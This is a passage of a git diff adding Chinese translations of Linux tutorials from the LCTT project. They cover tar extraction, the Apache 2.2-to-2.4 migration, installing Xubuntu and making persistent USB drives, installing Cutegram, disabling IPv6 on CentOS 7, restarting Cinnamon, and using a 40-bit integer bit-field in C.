+-------------------------------------------------------------------------------- + +via: http://itsfoss.com/configure-mate-desktop-mate-tweak/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://itsfoss.com/install-mate-desktop-ubuntu-14-04/ +[2]:https://bitbucket.org/flexiondotorg/mate-tweak +[3]:https://github.com/linuxmint/mintdesktop +[4]:http://itsfoss.com/how-to-install-themes-in-ubuntu-13-10/ \ No newline at end of file diff --git a/published/201502/20150115 How To Extract a Tar Files To a Different Directory on a Linux or Unix-like Systems.md b/published/201502/20150115 How To Extract a Tar Files To a Different Directory on a Linux or Unix-like Systems.md new file mode 100644 index 0000000000..55866282e8 --- /dev/null +++ b/published/201502/20150115 How To Extract a Tar Files To a Different Directory on a Linux or Unix-like Systems.md @@ -0,0 +1,64 @@ +如何解压 tar 文件到不同的目录中 +================================================================================ + +我想要解压一个tar文件到一个叫/tmp/data的指定目录。我该如何在Linux或者类Unix的系统中使用tar命令解压一个tar文件到不同的目录中? + +你不必使用cd命令切换到其他的目录并解压。可以使用下面的语法解压一个文件: + +### 语法 ### + +典型Unix tar语法: + + tar -xf file.name.tar -C /path/to/directory + +GNU/tar 语法: + + tar xf file.tar -C /path/to/directory + + tar xf file.tar --directory /path/to/directory + +### 示例:解压文件到另一个目录中 ### + +在本例中。我解压$HOME/etc.backup.tar到/tmp/data目录中。首先,需要手动创建这个目录,输入: + + mkdir /tmp/data + +要解压$HOME/etc.backup.tar 到/tmp/data中,输入: + + tar -xf $HOME/etc.backup.tar -C /tmp/data + +要看到进度,使用-v选项: + + tar -xvf $HOME/etc.backup.tar -C /tmp/data + +示例输出: + +![Gif 01: tar Command Extract Archive To Different Directory Command](http://s0.cyberciti.org/uploads/faq/2015/01/tar-extract-archive-to-dir.gif) + +*Gif 01: tar命令解压文件到不同的目录* + +你也可以指定解压的文件: + + tar -xvf $HOME/etc.backup.tar file1 file2 file3 dir1 -C /tmp/data + +要解压foo.tar.gz(.tgz扩展文件)包到/tmp/bar中,输入: + + mkdir /tmp/bar + tar -zxvf foo.tar.gz -C /tmp/bar + +要解压foo.tar.bz2(.tbz, .tbz2 和 .tb2 扩展文件)包到/tmp/bar中,输入: + + mkdir /tmp/bar + tar -jxvf foo.tar.bz2 -C /tmp/bar + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/faq/howto-extract-tar-file-to-specific-directory-on-unixlinux/ + +作者:[nixCraft][a] +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.cyberciti.biz/tips/about-us diff --git a/published/201502/20150115 Tips for Apache Migration From 2.2 to 2.4 on Ubuntu 14.04.md b/published/201502/20150115 Tips for Apache Migration From 2.2 to 2.4 on Ubuntu 14.04.md new file mode 100644 index 0000000000..0ed031e342 --- /dev/null +++ b/published/201502/20150115 Tips for Apache Migration From 2.2 to 2.4 on Ubuntu 14.04.md @@ -0,0 +1,58 @@ +在 Ubuntu 14.04 中Apache从2.2迁移到2.4的问题 +================================================================================ +如果你将**Ubuntu**从12.04升级跨越到了14.04,那么这其中包括了一个重大的升级--**Apache**从2.2版本升级到2.4版本。**Apache**的这次升级带来了许多性能提升,**但是如果继续使用2.2的配置文件会导致很多错误**。 + +### 访问控制的改变 ### + +从**Apache 2.4**起,所启用的授权机制比起2.2的只是针对单一数据存储的单一检查更加灵活。过去很难确定哪个 order 授权怎样被使用的,但是授权容器指令的引入解决了这些问题,现在,配置可以控制什么时候授权方法被调用,什么条件决定何时授权访问。 + +这就是为什么大多数的升级失败是由于配置错误的原因。2.2的访问控制是基于IP地址、主机名和其他角色,通过使用指令Order,来设置Allow, Deny或 Satisfy;但是2.4,这些一切都通过新的授权方式进行检查。 + +为了弄清楚这些,可以来看一些虚拟主机的例子,这些可以在/etc/apache2/sites-enabled/default 或者 /etc/apache2/sites-enabled/*你的网站名称* 中找到: + +旧的2.2虚拟主机配置: + + Order allow,deny + Allow from all + +新的2.4虚拟主机配置: + + Require all granted + +![apache 2.4 config](http://blog.linoxide.com/wp-content/uploads/2014/12/apache-2.4-config.jpg) + +(LCTT 译注:Order、Allow和deny 这些将在之后的版本废弃,请尽量避免使用,Require 指令已可以提供比其更强大和灵活的功能。) + +### .htaccess 问题 ### + +升级后如果一些设置不工作,或者你得到重定向错误,请检查是否这些设置是放在.htaccess文件中。如果Apache 2.4没有使用 .htaccess 文件中的设置,那是因为在2.4中AllowOverride指令的默认是 none,因此忽略了.htaccess文件。你只需要做的就是修改或者添加AllowOverride All命令到你的网站配置文件中。 + +上面截图中,可以看见AllowOverride All指令。 + +### 丢失配置文件或者模块 ### + +根据我的经验,这次升级带来的另一个问题就是在2.4中,一些旧模块和配置文件不再需要或者不被支持了。你将会收到一条“Apache不能包含相应的文件”的明确警告,你需要做的是在配置文件中移除这些导致问题的配置行。之后你可以搜索和安装相似的模块来替代。 + +### 其他需要了解的小改变 ### + +这里还有一些其他的改变需要考虑,虽然这些通常只会发生警告,而不是错误。 + +- MaxClients重命名为MaxRequestWorkers,使之有更准确的描述。而异步MPM,如event,客户端最大连接数不等于工作线程数。旧的配置名依然支持。 +- DefaultType命令无效,使用它已经没有任何效果了。如果使用除了 none 之外的其它配置值,你会得到一个警告。需要使用其他配置设定来替代它。 +- EnableSendfile默认关闭 +- FileETag 现在默认为"MTime Size"(没有INode) +- KeepAlive 只接受“On”或“Off”值。之前的任何不是“Off”或者“0”的值都被认为是“On” +- 单一的 Mutex 已经替代了 Directives AcceptMutex, LockFile, RewriteLock, SSLMutex, SSLStaplingMutex 和 WatchdogMutexPath 等指令。你需要做的是估计一下这些被替代的指令在2.2中的使用情况,来决定是否删除或者使用Mutex来替代。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/apache-migration-2-2-to-2-4-ubuntu-14-04/ + +作者:[Adrian Dinu][a] +译者:[Vic020/VicYu](http://vicyu.net) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:http://httpd.apache.org/docs/2.4/ diff --git a/published/201502/20150116 A Step By Step Guide To Installing Xubuntu Linux.md b/published/201502/20150116 A Step By Step Guide To Installing Xubuntu Linux.md new file mode 100644 index 0000000000..ed6c31e46e --- /dev/null +++ b/published/201502/20150116 A Step By Step Guide To Installing Xubuntu Linux.md @@ -0,0 +1,157 @@ +手把手教你安装Xubuntu Linux +============================================== + +### 简介 ### + +![Xubuntu](http://f.tqn.com/y/linux/1/S/J/J/1/fulldesktop.png) + +这个教程会一步步教你如何安装Xubuntu Linux。 + +为什么你会想要安装Xubuntu呢?这里有三个原因: + +1. 你有一台安装Windows XP的计算机,但是微软已经不再对Windows XP提供支持 +2. 你的[电脑运行很慢][1],你想要一个轻量级并且跟得上时代潮流的操作系统 +3. 你想要自定义你的电脑使用体验 + +首先,你需要[下载Xubuntu,并且创建一个可启动的USB驱动器][2]。 + +完成以后,用优盘启动到当前版本的Xubuntu,然后点击安装Xubuntu图标。 + +### 选择你的安装语言 ### + +![选择语言](http://f.tqn.com/y/linux/1/S/K/J/1/xubuntuinstall1.png) + +第一步,选择你的安装语言。 + +在左边的列表中选择语言,然后单击“Continue”。 + +### 选择无线网络链接 ### + +![选择无线网络](http://f.tqn.com/y/linux/1/S/L/J/1/xubuntuinstall2.png) + +第二步,需要你来选择你的网络链接。这个步骤不是必须的,你在这个阶段可能会选择不设置网络链接是有原因的。 + +如果你的[网络状况十分糟糕][3],不选无线网络是一个明智的选择,因为安装程序会在安装过程中从网络上下载一些更新包。那么可想而知,你的安装过程就会花费很长的时间。 + +当然,如果你的[网速很快][4],选择一个无线网,然后输入密码就行了。 + +### 准备安装 ### + +![准备安装](http://f.tqn.com/y/linux/1/S/M/J/1/xubuntuinstall3.png) + +这时候,你将会看到一个列表,显示安装Xubuntu的一些准备条件: + +- 是否拥有至少6.2G的磁盘空间 +- 是否链接到互联网 +- 是否连接了电源 + +只有磁盘空间是必要条件。 + +在上一个步骤中提到过,你可以在安装Xubuntu的过程中不安装更新包。在系统安装完成以后再安装更新包也是可以的。 + +安装过程中,如果电池电量耗完的话,你才必须要链接到到电源。 + +请注意,如果你连网了,这里有一个关闭安装过程中下载更新包的复选框。 + +这里还有一个复选框,提示你是否安装用于[播放MP3][5]或者[Flash视频][6]的第三方软件,当然,这些内容也可以在安装完成以后进行。 + +### 选择安装类型 ### + +![选择安装类型](http://f.tqn.com/y/linux/1/S/N/J/1/xubuntuinstall4.png) + +接下来的步骤是选择安装类型。显示哪些选项,取决于之前电脑上安装了什么系统。 + +在我的示例中,我已经安装了[Ubuntu MATE][7],所以,我的选项是重装Ubuntu、删除并且重装、安装Xubuntu和Ubuntu双系统,或者其它。 + +如果你的计算机上安装了Windows,那么你得到的选项就是,安装双系统,使用Xubuntu替换Windows或者其他。 + +这个教程只是用来说明如何在计算机上安装Xubuntu,而不是怎么安装双系统,那将是一个完全不同的教程。 + +选择使用Xubuntu替换当前系统,然后点击“Continue”。 + +> 备注:这会导致你的磁盘被完全清除,在继续安装之前,你应该备份你的数据。 + +### 选择安装磁盘 ### + +![清除磁盘并且安装Xubuntu](http://f.tqn.com/y/linux/1/S/O/J/1/xubuntuinstall5.png) + +选择你要安装Xubuntu的磁盘。 + +点击“Install Now”。 + +这时候会弹出一个警告窗口,会提示你选择的磁盘驱动器会被完全清除,然后会显示一个新创建的分区列表。 + +> 备注:这是你改变主意的最后一个机会,如果你点击继续,磁盘就会被完全清除,然后开始安装Xubuntu。 + +点击“Continue”来安装Xubuntu。 + +### 选择地区 ### + +![选择地区](http://f.tqn.com/y/linux/1/S/P/J/1/xubuntuinstall7.png) + +这个步骤中,你需要通过点击底图来选择你的地区。系统根据你的选择来设置时区,这样,你的时钟就可以显示正确的时间了。 + +选择以后点击“Continue”。 + +### 选择键盘布局 ### + +![选择键盘布局](http://f.tqn.com/y/linux/1/S/Q/J/1/xubuntuinstall8.png) + +选择你的键盘布局。 + +在左边的列表中选择键盘语言,然后在右边的列表显示确切的键盘布局。 + +你也可以点击“Detect Keyboard Layout”让系统选择最适合的键盘布局。 + +如果你需要确认键盘布局是否正确,可以在“Type here to test your keyboard”输入字符。你需要特别注意fn键和一些符号,例如英镑和美元符号。 + +如果在安装过程中没有设置正确也没关系,安装完成以后在Xubuntu系统设置中也可以进行调整。 + +### 新增用户 ### + +![新增用户](http://f.tqn.com/y/linux/1/S/R/J/1/xubuntuinstall9.png) + +为了使用Xubuntu,你至少需要设置一个用户,因此安装程序需要你设置一个默认用户。 + +在前两个输入框里面,输入你的名字以及用来识别你的计算机的名字。 + +为用户选择一个用户名并且[创建一个密码][8]。为了保证你的密码输入正确,你需要输入两遍。 + +如果你想要系统自动登入,而不是在每次启动的时候输入密码,选择“Log in automatically”。对于我来说,我肯定不会选择这个选项。 + +更好的选项是“Require my password to log in”,并且如果你想要更高的安全等级,勾选“Encrypt my home folder”选项。 + +点击“Continue”然后继续。 + +### 等待安装完成 ### + +![等待安装完成](http://f.tqn.com/y/linux/1/S/S/J/1/xubuntuinstall10.png) + +这个步骤中,将会拷贝文件到你的电脑,并且安装Xubuntu。 + +在这个过程中,你会看到一个简短的幻灯片。在这个时候你可以去[泡一杯咖啡][9]或者放松一下。 + +安装完成以后,会弹出提示告诉你是否重新启动,并且开始体验一下新安装的Xubuntu系统。 + +准备好了么?拔掉启动盘重新启动吧。 + +> 备注:在UEFI机器上面安装Xubuntu的话,需要一些额外的步骤,在这个教程里面没有提到。关于这方面的内容,且听下回分解。 + +via : http://linux.about.com/od/howtos/ss/A-Step-By-Step-Guide-To-Installing-Xubuntu-Linux.htm#step-heading + +作者:[Gary Newell][a] +译者:[zhouj-sh](https://github.com/zhouj-sh) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linux.about.com/bio/Gary-Newell-132058.htm +[1]:http://windows.about.com/od/maintainandfix/a/8ways2speedup.htm +[2]:http://linux.about.com/od/howtos/ss/How-To-Create-A-Persistent-Bootable-Xubuntu-Linux-USB-Drive.htm +[3]:http://netforbeginners.about.com/od/basicinternethardware/f/Why-Internet-Connections-Can-Be-Slow.htm +[4]:http://netforbeginners.about.com/b/2011/09/07/test-your-internet-connection-speed-here.htm +[5]:http://mp3.about.com/od/freebies/tp/freemusictp.htm +[6]:http://animation.about.com/od/2danimationtutorials/ss/2d_fla_lesson1.htm +[7]:http://www.everydaylinuxuser.com/2014/11/ubuntu-mate-vs-lubuntu-on-old-netbook.html +[8]:http://netsecurity.about.com/cs/generalsecurity/a/aa112103b.htm +[9]:http://coffeetea.about.com/od/preparationandrecipes/ diff --git a/published/201502/20150119 3 Ways To Create A Lightweight And Persistent Xubuntu Linux USB Drive.md b/published/201502/20150119 3 Ways To Create A Lightweight And Persistent Xubuntu Linux USB Drive.md new file mode 100644 index 0000000000..df7266a7a1 --- /dev/null +++ b/published/201502/20150119 3 Ways To Create A Lightweight And Persistent Xubuntu Linux USB Drive.md @@ -0,0 +1,174 @@ +3种方法来创建轻量、持久化的Xubuntu Linux USB系统盘 +================================================================================ + +### 使用Universal USB Install创建持久化USB Xubuntu系统盘 ### + +![](http://f.tqn.com/y/linux/1/S/2/J/1/xubuntudesktop.png) + +这个教程为你介绍如何使用Xubuntu Linux创建一个轻量并且[持久化][1]的Linux USB系统盘。 + +> 译者注:持久化Linux USB系统盘(Persistent Linux USB drive),安装在优盘的Linux系统,允许用户保存数据到优盘而不是仅仅将这些修改留在内存中。这些数据可以在重启后恢复并且重新使用,甚至是在其他的机器上面启动也没有关系。一般情况下,持久化系统盘会安装一个压缩过的Linux操作系统。 + +为什么要这样做呢,这里有5个很好的理由: + +1. 你想要在你的电脑上安装一个轻量并且功能完善的Linux版本。 +2. 你的电脑没有硬盘,那么一个Linux USB系统盘就可以让这台电脑摆脱被扔到垃圾堆的命运。 +3. 你想体验一下Linux,但是你却不想花太多的时间去准备。 +4. 你想创建一个USB系统恢复盘,并且在优盘上安装一些特定的应用程序。 +5. 你想要一个可定制的Linux版本,能装在后兜或者挂在钥匙圈上。 + +现在,我们有了充足的理由,那么开始做一些准备工作吧。 + +如果你使用的是Windows: + +1. 下载Xubuntu。 +2. 下载Universal USB Installer。 +3. 插入一个空的优盘。 +4. 使用Universal USB Installer创建一个常驻系统启动盘。 + +如果你使用的是Ubuntu: + +1. 下载Xubuntu。 +2. 使用Ubuntu Startup Creator。 + +如果你使用的是其他版本的Linux: + +1. 下载Xubuntu。 +2. 使用UNetbootin。 + +还有一些场景,可能需要使用命令行,会更难一些,但是上面列的三种应该已经可以满足大部分的情况。 + +### 下载Xubuntu和Universal USB Installer ### + +![](http://f.tqn.com/y/linux/1/S/G/J/1/xubuntuwebsite.JPG) + +访问[Xubuntu网站][2],然后选一个你喜欢的版本下载。 + +目前有两个版本可供使用: + +- [Trusty Tahr (14.04 LTS)][3] +- [Utopic Unicorn (14.10)][4] + +14.04版是一个长期维护的版本,维护周期会持续3年。14.10是最新版本,但是只提供9个月的维护。 + +你选择了下载站点以后,会提示你选择32位版本或者64位版本。如果你的电脑是32位,就选32位版本,同样,如果你的电脑是64位,那就选64位版本。 + +[点击这里,有一个教程来教你辨别你的电脑是32位还是64位][5]。 + +可以从[Pendrive Linux网站][6]下载Universal USB Installer,点击download链接,过一会下载页面就会弹出来了。 + +### 使用Universal USB Installer创建一个Xubuntu启动优盘 ### + +![](http://f.tqn.com/y/linux/1/S/-/J/1/uui1l.JPG) + +下载完Universal USB Installer和Xubuntu以后,运行Universal USB Installer,出现安全警告时,点击“Accept”。 + +Universal USB Installer用来创建一个持久化的Xubuntu启动优盘。 + +第一屏是许可协议。点击“I Agree”继续。 + +![](http://f.tqn.com/y/linux/1/S/0/J/1/uui2l.JPG) + +Universal USB Installer主界面出现以后,从下拉列表中选择你想要的配置(i.e Xubuntu),第二步,点击“Browse”选择你下载的ISO文件的路径。 + +在电脑上插入一个空的优盘,然后选中“Showing all drives”复选框。 + +在下拉列表中选中你的优盘(一定要确定选的是正确的盘符哦)。如果优盘不是空的,选中格式化复选框。 + +> 注:格式化优盘会清除优盘上的所有数据,首先一定要确认是否以及备份过相关的数据。 + +在第四步中选择用于保存“持久化”系统数据的存储空间大小。 + +点击“Create”按钮继续。 + +![](http://f.tqn.com/y/linux/1/S/1/J/1/uu3l.JPG) + +最后一个界面提示你如果点击“Yes”,那么将会直接应用你的配置。 + +这是停止安装的最后一个机会,一定要确定你选了正确的优盘盘符,并且优盘上没有需要备份的其他文件。 + +点击“Yes”,然后耐心等待优盘创建完成。 + +> 注:创建持久化保存空间会花费一些时间,并且这时候进度条不会继续滚动。 + +这个过程完成以后,重启电脑,如果从优盘启动,就会加载Xubuntu。 + +### 使用Ubuntu的Startup Disk Creator创建Xubuntu启动优盘 ### + +![](http://f.tqn.com/y/linux/1/S/H/J/1/ubuntustartupdiskcreator.png) + +如果你已经安装了Ubuntu,那么创建持久化USB Xubuntu系统盘的最简单的办法就是使用Startup Disk Creator。 + +按下超级键(Windows键),打开Dash,搜索“Startup Disk Creator”,图标出现以后点击它。 + +如果你对Ubuntu Dash不太熟悉,你可以[点击这里,查看一个完整的教程][7]。 + +Startup Disk Creator使用起来很简单。 + +界面被划分成两个部分。上部分指定下载的系统盘路径,下部分指定安装的优盘。 + +首先,点击“Other”按钮,第二步,选择你所下载的Xubuntu ISO文件。 + +然后插入优盘,点击“Erase”按钮清除优盘数据。 + +> 注:点击“Erase”会删除优盘中所有的数据,记得先备份数据。 + +选中“Stored in reserved extra sapce”单选按钮,然后拖动“How much”来确定你想要用来存储“持久化”数据的空间。 + +点击“Make Startup Disk”。 + +你创建的过程中,你可能需要输入几次你的系统密码,USB系统盘创建完成以后,你就可以使用它启动到Xubuntu了。 + +### 使用UNetbootin创建持久化的Xubuntu系统盘 ### + +![](http://f.tqn.com/y/linux/1/S/I/J/1/unetbootin1.png) + +我要介绍的最后一个工具是UNetbootin,这个工具在Windows和Linux上都可以使用。 + +个人来说,在Windows系统上面我喜欢用Universal USB Installer,但Linux的话,UNetbootin更合适一些。 + +> 注:UNetbootin并不是100%完美的,不是所有的Linux发行版都支持。 + +Windows平台可以点击[这里][8]下载UNetbootin。 + +Linux平台可以使用package manager安装UNetbootin。 + +确认你的优盘已经连接到电脑上,确认优盘已经格式化,并且在优盘上没有其他的数据。 + +在Windows平台上运行UNetbootin只需要双击可执行程序即可,在Linux运行的话则需要提升权限。 + +在Linux上如何运行取决于你使用的是何种桌面环境以及Linux发行版。从命令行运行的话,输入下列命令: + +> sudo unetbootin + +UNetbootin的界面分为两个部分。你可以在上半部分选择一个Linux发行版,然后下载它,如果已经下载了某个发行版,可以在下半部分选择已经下载的系统盘。 + +点击“Diskimage”单选框,然后点击三个点的按钮。找到已经下载的Xubuntu ISO文件。路径会显示到按钮旁边的文本框里面。 + +设置“Space used to preserve files across reboots”的值,来指定你想要用来存储“持久化”数据的空间大小。 + +类型选择USB drive,然后选择优盘的盘符。 + +点击“OK”来创建一个持久化Xubuntu启动优盘。 + +创建的过程要花一些时间,创建完成以后,你就可以通过优盘启动到Xubuntu系统了。 + +如果你想要创建一个支持UEFI的Xubuntu启动优盘,[照着这个教程来做][8],只需要把Ubuntu ISO替换为Xubuntu ISO就可以了。 + +via : http://linux.about.com/od/howtos/ss/How-To-Create-A-Persistent-Bootable-Xubuntu-Linux-USB-Drive.htm + +作者:[Gary Newell][a] +译者:[zhouj-sh](https://github.com/Zhouj-sh) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linux.about.com/bio/Gary-Newell-132058.htm +[1]:http://www.pendrivelinux.com/what-is-persistent-linux/ +[2]:http://xubuntu.org/getxubuntu/ +[3]:http://www.dedoimedo.com/computers/xubuntu-trusty.html +[4]:http://www.dedoimedo.com/computers/xubuntu-utopic.html +[5]:http://pcsupport.about.com/od/fixtheproblem/f/32-bit-64-bit-windows.htm +[6]:http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/ +[7]:http://linux.about.com/od/howtos/fl/Learn-Ubuntu-The-Unity-Dash.htm +[8]:http://linux.about.com/od/howtos/ss/How-To-Create-A-UEFI-Bootable-Ubuntu-USB-Drive-Using-Windows.htm diff --git a/published/201502/20150119 Cutegram--A Better Telegram Client For GNU or Linux.md b/published/201502/20150119 Cutegram--A Better Telegram Client For GNU or Linux.md new file mode 100644 index 0000000000..57511dd73c --- /dev/null +++ b/published/201502/20150119 Cutegram--A Better Telegram Client For GNU or Linux.md @@ -0,0 +1,76 @@ +Cutegram: 一个GNU/Linux下不错的Telegram客户端 +================================================================================ +不需要再介绍**Telegram**了,对吧。Telegram是一款流行的免费即时通信工具,帮助你在全球与朋友聊天。不像Whatsapp,Telegram是永久免费、没有广告、没有订阅费用的。并且Telegram客户端也是开源的。Telegram在许多不同的平台中都有,包括Linux、Android、iOS、Windows Phone和Mac OS X。使用telegram发送的消息是高度加密且会自我销毁。它很安全,并且没有对你的多媒体和聊天的大小作限制。 + +在[先前的教程][1]中我们已经提到你可以在Ubuntu/Debian中安装Telegram。然而,有一个新的Telegram客户端叫**Cutegram**出现了,可以使你的聊天体验更加有趣和简单。 + +### Cutegram是什么? ### + +Cutegram是一款专注于用户友好、与Linux桌面环境兼容和易于使用的开源 telegram 的 GNU/Linux客户端。Cutegram使用Qt5、QML、libqtelegram、libappindication、AsemanQtTools技术和Faenzatu图标和Twitter emojie图片集。它在GPLv3许可证下免费发布。 + +### 安装 Cutegram ### + +进入Cutegrm的首页病根据你的发行版版本选择最新的版本。我使用的是Ubuntu 64位版,所以我下载的是.deb文件。 + + wget http://aseman.co/downloads/cutegram/cutegram_1.0.2-1-amd64.deb + +现在,如下安装Cutegram: + + sudo apt-get install gdebi + sudo gdebi cutegram_1.0.2-1-amd64.deb + +对于其他发行版,运行下面的命令。 + +**64位:** + + wget http://aseman.co/downloads/cutegram/cutegram-1.0.2-linux-x64-installer.run + +**32位:** + + wget http://aseman.co/downloads/cutegram/cutegram-1.0.2-linux-installer.run + +设置执行权限: + + chmod a+x cutegram-1.0.2-linux*.run + +如下进行安装。 + + sudo ./cutegram-1.0.2-linux*.run + +### 使用 ### + +在菜单或者Unity dash中启动Cutegram。在登录界面,选择你的国家并输入电话号码,最好点击**Login** + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/Cutegram_005.png) + +一个验证码将会发送到你手机上。输入验证码并点击**Sign in** + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/Cutegram_002.png) + +你会看到 + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/Cutegram_003.png) + +开始聊天吧! + +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/01/Cutegram_004.png) + +接着,你可以设置头像,开始新的聊天/群聊,或者使用左边面板的按钮开始秘密聊天。 + +玩得开心!干杯!! + +更多细节,请关注[Cutegram 网站][2] + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/cutegram-better-telegram-client-gnulinux/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:http://www.unixmen.com/install-telegram-desktop-via-ppa/ +[2]:http://aseman.co/en/products/cutegram/ diff --git a/published/201502/20150119 How To Disable IPv6 In CentOS 7.md b/published/201502/20150119 How To Disable IPv6 In CentOS 7.md new file mode 100644 index 0000000000..a148053251 --- /dev/null +++ b/published/201502/20150119 How To Disable IPv6 In CentOS 7.md @@ -0,0 +1,93 @@ +如何在CentOS 7中禁止IPv6 +================================================================================ +最近,我的一位朋友问我该如何禁止IPv6。在搜索了一番之后,我找到了下面的方案。下面就是在我的CentOS 7 迷你服务器禁止IPv6的方法。 + +你可以用两个方法做到这个。 + +### 方法 1 ### + +编辑文件**/etc/sysctl.conf**, + + vi /etc/sysctl.conf + +添加下面的行: + + net.ipv6.conf.all.disable_ipv6 = 1 + net.ipv6.conf.default.disable_ipv6 = 1 + +如果你想要为特定的网卡禁止IPv6,比如,对于enp0s3,添加下面的行。 + + net.ipv6.conf.enp0s3.disable_ipv6 = 1 + +保存并退出文件。 + +执行下面的命令来使设置生效。 + + sysctl -p + +### 方法 2 ### + +要在运行的系统中禁止IPv6,依次输入下面的命令: + + echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6 + echo 1 > /proc/sys/net/ipv6/conf/default/disable_ipv6 + +或者, + + sysctl -w net.ipv6.conf.all.disable_ipv6=1 + sysctl -w net.ipv6.conf.default.disable_ipv6=1 + +就是这样。现在IPv6已经禁止了。 + +### 我在禁止IPv6后遇到问题怎么办 ### + +你可能在禁止IPv6后遇到一些问题 + +#### 问题1: #### + +如果你在禁止IPv6后SSH遇到问题,按照下面的做。 + +编辑 **/etc/ssh/sshd_config** 文件 + +vi /etc/ssh/sshd_config + +找到下面的行: + + #AddressFamily any + +把它改成: + + AddressFamily inet + +或者,在这行的前面去掉注释**(#)**: + + #ListenAddress 0.0.0.0 + +接着重启ssh来使改变生效。 + + systemctl restart sshd + +#### 问题2: #### + +如果你在禁止Ipv6后启动postfix遇到问题,编辑**/etc/postfix/main.cf**: + + vi /etc/postfix/main.cf + +注释掉配置中的localhost部分,并且使用ipv4回环。 + + #inet_interfaces = localhost + inet_interfaces = 127.0.0.1 + +就是这样,干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/disable-ipv6-centos-7/ + +作者:[SK][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ \ No newline at end of file diff --git a/published/201502/20150119 Quick Tip--How To Restart Cinnamon After Crash.md b/published/201502/20150119 Quick Tip--How To Restart Cinnamon After Crash.md new file mode 100644 index 0000000000..e5b6cbae5a --- /dev/null +++ b/published/201502/20150119 Quick Tip--How To Restart Cinnamon After Crash.md @@ -0,0 +1,33 @@ +如何在崩溃后重启Cinnamon +================================================================================ +Cinnamon是一个提供了高级创新特性和传统用户体验的Linux桌面环境。桌面布局和Gnome 2相似。底层的技术与Gnome Shell相似。它的重点是让用户以熟悉的方式得到简单和舒适的桌面体验。 + +本篇中我们会展示一个快速的方法来重启Cinnamon而不用在崩溃后登出或者重启。 + +下图是Cinnamon桌面崩溃后,文本和图标从菜单和面板消失了。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2015/01/cinnamon_crash.png) + +要重启Cinnamon + +按下**Alt + F2** 将会打开一个命令菜单,输入**r**并按下回车。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2015/01/type_r.png) + +Cinnamon应该会重新在面板和菜单中显示图标和文本了。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2015/01/linux_mint_cinnamon_menu.png) + +试试吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/quick-tip-restart-cinnamon-crash/ + +作者:[Enock Seth Nyamador][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/seth/ \ No newline at end of file diff --git a/published/201502/20150121 If a 32-bit integer overflows.md b/published/201502/20150121 If a 32-bit integer overflows.md new file mode 100644 index 0000000000..30687f4bc8 --- /dev/null +++ b/published/201502/20150121 If a 32-bit integer overflows.md @@ -0,0 +1,96 @@ +如果使用32位整型会溢出,那么是否可以使用一个40位结构体代替64位长整型? +====== + +###问题: + +假如说,使用32位的整型会溢出,在不考虑使用长整型的情况下,如果我们只需要表示2的40次方范围内的数,是否可以利用某些40位长的数据类型来表示呢?这样的话,每个整型数就可以节省24位的空间。 + +如果可以,该怎么做? + +需求是:我现在必须处理数以亿计的数字,所以在存储空间上受到了很大的限制。 + +###回答: + +可以是可以,但是…… + +这种方法的确可行,但这么做通常没什么意义(因为几乎没有程序需要处理多达十亿的数字): + +```C +#include // 不要考虑使用long long类型 +struct bad_idea +{ + uint64_t var : 40; +}; +``` + +在这里,变量var占据40位大小,但是这是以生成代码时拥有非常低的运行效率来换取的(事实证明“非常”二字言过其实了——测试中程序开销仅仅增加了1%到2%,正如下面的测试时间所示),而且这么做通常没什么用。除非你还需要保存一个24位的值(或者是8位、16位的值),这样你皆可以它们放到同一个结构中。不然的话,因为对齐内存地址产生的开销会抵消这么做带来的好处。 + +在任何情况下,除非你是真的需要保存数以亿计的数字,否则这样做给内存消耗带来的好处是可以忽略不计的(但是为了处理这些位字段的额外代码量是不可忽略的!)。 + +###说明: + +在此期间,这个问题已经被更新了,是为了说明实际上确实有需要处理数以亿计数字的情况。假设,采取某些措施来防止因为结构体对齐和填充抵消好处(比如在后24位中存储其它的内容,或者使用多个8位来存储40位),那么这么做就变得有意义了。 + 